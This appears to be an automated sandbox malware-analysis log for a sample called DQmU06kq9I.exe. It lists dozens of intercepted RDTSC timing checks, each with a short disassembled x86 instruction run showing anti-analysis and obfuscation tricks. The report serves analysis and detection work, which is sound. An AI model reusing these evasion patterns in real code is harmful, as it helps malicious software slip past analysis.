Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 72415A second address: 724160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 727470 second address: 727476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 727476 second address: 7274D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F7290766B35h 0x0000000b jmp 00007F7290766B2Fh 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 add ebx, 5FC6B88Ah 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F7290766B28h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000019h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 mov dword ptr [ebp+150D23E9h], esi 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F7290766B2Ch 0x00000046 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7285BB second address: 7285C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7285C0 second address: 7285CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F7290766B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 729503 second address: 72950D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F7290C62CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 72950D second address: 72958E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+150D183Dh], ecx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F7290766B28h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d jmp 00007F7290766B30h 0x00000032 push 00000000h 0x00000034 jl 00007F7290766B2Bh 0x0000003a mov ebx, 36ACC9E0h 0x0000003f xchg eax, esi 0x00000040 push esi 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 pop edx 0x00000045 pop esi 0x00000046 push eax 0x00000047 pushad 0x00000048 push eax 0x00000049 jmp 00007F7290766B30h 0x0000004e pop eax 0x0000004f pushad 0x00000050 jmp 00007F7290766B37h 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 72A369 second address: 72A3F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F7290C62CA8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 jmp 00007F7290C62CB7h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007F7290C62CA8h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 0000001Ch 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 jmp 00007F7290C62CADh 0x00000048 adc edi, 10577C86h 0x0000004e push 00000000h 0x00000050 mov ebx, dword ptr [ebp+150D2495h] 0x00000056 push eax 0x00000057 push edi 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 72A3F4 second address: 72A3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 72B411 second address: 72B421 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 72B5B0 second address: 72B633 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7290766B28h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub dword ptr [ebp+152619CCh], esi 0x00000011 mov ebx, edx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov edi, 6845E4E5h 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 mov edi, dword ptr [ebp+150D2A46h] 0x0000002c mov eax, dword ptr [ebp+150D0685h] 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007F7290766B28h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c push FFFFFFFFh 0x0000004e mov edi, dword ptr [ebp+150D1ABBh] 0x00000054 pushad 0x00000055 ja 00007F7290766B2Bh 0x0000005b mov eax, dword ptr [ebp+150D1BC2h] 0x00000061 popad 0x00000062 nop 0x00000063 push ecx 0x00000064 push ebx 0x00000065 ja 00007F7290766B26h 0x0000006b pop ebx 0x0000006c pop ecx 0x0000006d push eax 0x0000006e pushad 0x0000006f push edi 0x00000070 je 00007F7290766B26h 0x00000076 pop edi 0x00000077 pushad 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 72B633 second address: 72B639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 73139E second address: 7313A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 731978 second address: 73197C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 73197C second address: 731982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 731C87 second address: 731CA8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7290C62CACh 0x00000008 jnp 00007F7290C62CA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7290C62CADh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 731CA8 second address: 731CAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7357D9 second address: 7357DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7357DF second address: 7357E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 741A06 second address: 741A0E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 741A0E second address: 741A3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7290766B2Ah 0x00000008 jl 00007F7290766B26h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F7290766B35h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 74115A second address: 74115F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 74115F second address: 741170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290766B2Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7412CC second address: 7412E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290C62CACh 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7412E0 second address: 7412E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7412E5 second address: 7412EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7412EB second address: 7412F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7412F4 second address: 7412FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7415BD second address: 7415C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F7290766B26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7415C8 second address: 7415CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7415CE second address: 7415E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7290766B2Ch 0x0000000e jnc 00007F7290766B26h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7415E9 second address: 7415F3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7290C62CA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7415F3 second address: 7415FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7470EC second address: 747108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7290C62CB8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 747108 second address: 747124 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7290766B30h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 74D2F0 second address: 74D2F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 74DCE4 second address: 74DCE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 74DE55 second address: 74DE5F instructions: 0x00000000 rdtsc 0x00000002 js 00007F7290C62CB2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 74DE5F second address: 74DE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7290766B26h 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F7290766B26h 0x00000012 jmp 00007F7290766B33h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7526BC second address: 7526C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7526C0 second address: 7526C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7527FC second address: 75282E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7290C62CB6h 0x0000000c jmp 00007F7290C62CB5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 753372 second address: 753389 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7290766B26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pushad 0x0000000e push ebx 0x0000000f jl 00007F7290766B26h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 753389 second address: 753391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 753391 second address: 75339C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75339C second address: 7533A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7290C62CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 753522 second address: 753526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 753526 second address: 75352C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75352C second address: 753566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7290766B36h 0x0000000b push edi 0x0000000c pushad 0x0000000d jmp 00007F7290766B2Eh 0x00000012 jmp 00007F7290766B2Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7522A0 second address: 7522AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F7290C62CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75B90F second address: 75B92F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7290766B31h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c js 00007F7290766B2Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75B92F second address: 75B93B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75B93B second address: 75B93F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75B93F second address: 75B951 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007F7290C62CA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75B951 second address: 75B957 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75B957 second address: 75B95D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75BACE second address: 75BB0A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F7290766B37h 0x00000008 jmp 00007F7290766B33h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F7290766B26h 0x00000016 jng 00007F7290766B26h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75BC75 second address: 75BC86 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007F7290C62CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75BF01 second address: 75BF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F7290766B32h 0x0000000b jbe 00007F7290766B26h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75BF1F second address: 75BF2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F7290C62CA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75C3B3 second address: 75C3BC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75C520 second address: 75C538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7290C62CB0h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75C675 second address: 75C679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75C942 second address: 75C99F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CB5h 0x00000007 jc 00007F7290C62CA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jmp 00007F7290C62CB9h 0x00000015 jmp 00007F7290C62CB9h 0x0000001a pop edi 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e pop edx 0x0000001f popad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push esi 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 75C99F second address: 75C9BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 764E35 second address: 764E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 712716 second address: 71271A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 712DA8 second address: 712E1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290C62CADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007F7290C62CB9h 0x00000010 jmp 00007F7290C62CB3h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a push edi 0x0000001b jnl 00007F7290C62CA6h 0x00000021 pop edi 0x00000022 pushad 0x00000023 jmp 00007F7290C62CB5h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b popad 0x0000002c mov eax, dword ptr [eax] 0x0000002e jmp 00007F7290C62CB2h 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 pushad 0x00000038 push edx 0x00000039 push esi 0x0000003a pop esi 0x0000003b pop edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 712EF1 second address: 712EF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 712EF7 second address: 712F15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F7290C62CABh 0x00000011 jno 00007F7290C62CA6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7132C2 second address: 7132D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7290766B26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7132D1 second address: 713316 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7290C62CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e movsx edx, cx 0x00000011 push 00000004h 0x00000013 mov dword ptr [ebp+150D228Dh], eax 0x00000019 pushad 0x0000001a add dword ptr [ebp+150D24C1h], ebx 0x00000020 jmp 00007F7290C62CB4h 0x00000025 popad 0x00000026 nop 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F7290C62CADh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 713316 second address: 713321 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F7290766B26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 713746 second address: 71374A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 713AD7 second address: 713B4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7290766B34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnc 00007F7290766B3Ah 0x00000010 nop 0x00000011 mov edx, dword ptr [ebp+150D291Eh] 0x00000017 or dx, AFC1h 0x0000001c lea eax, dword ptr [ebp+15280494h] 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007F7290766B28h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000016h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c mov edx, dword ptr [ebp+150D271Fh] 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 je 00007F7290766B26h 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 764037 second address: 764051 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7290C62CA6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jo 00007F7290C62CA6h 0x00000013 jc 00007F7290C62CA6h 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 76488D second address: 764894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 764894 second address: 7648AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7290C62CB3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	RDTSC instruction interceptor: First address: 7648AB second address: 7648BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F7290766B26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F7290766B26h 0x00000014 rdtsc
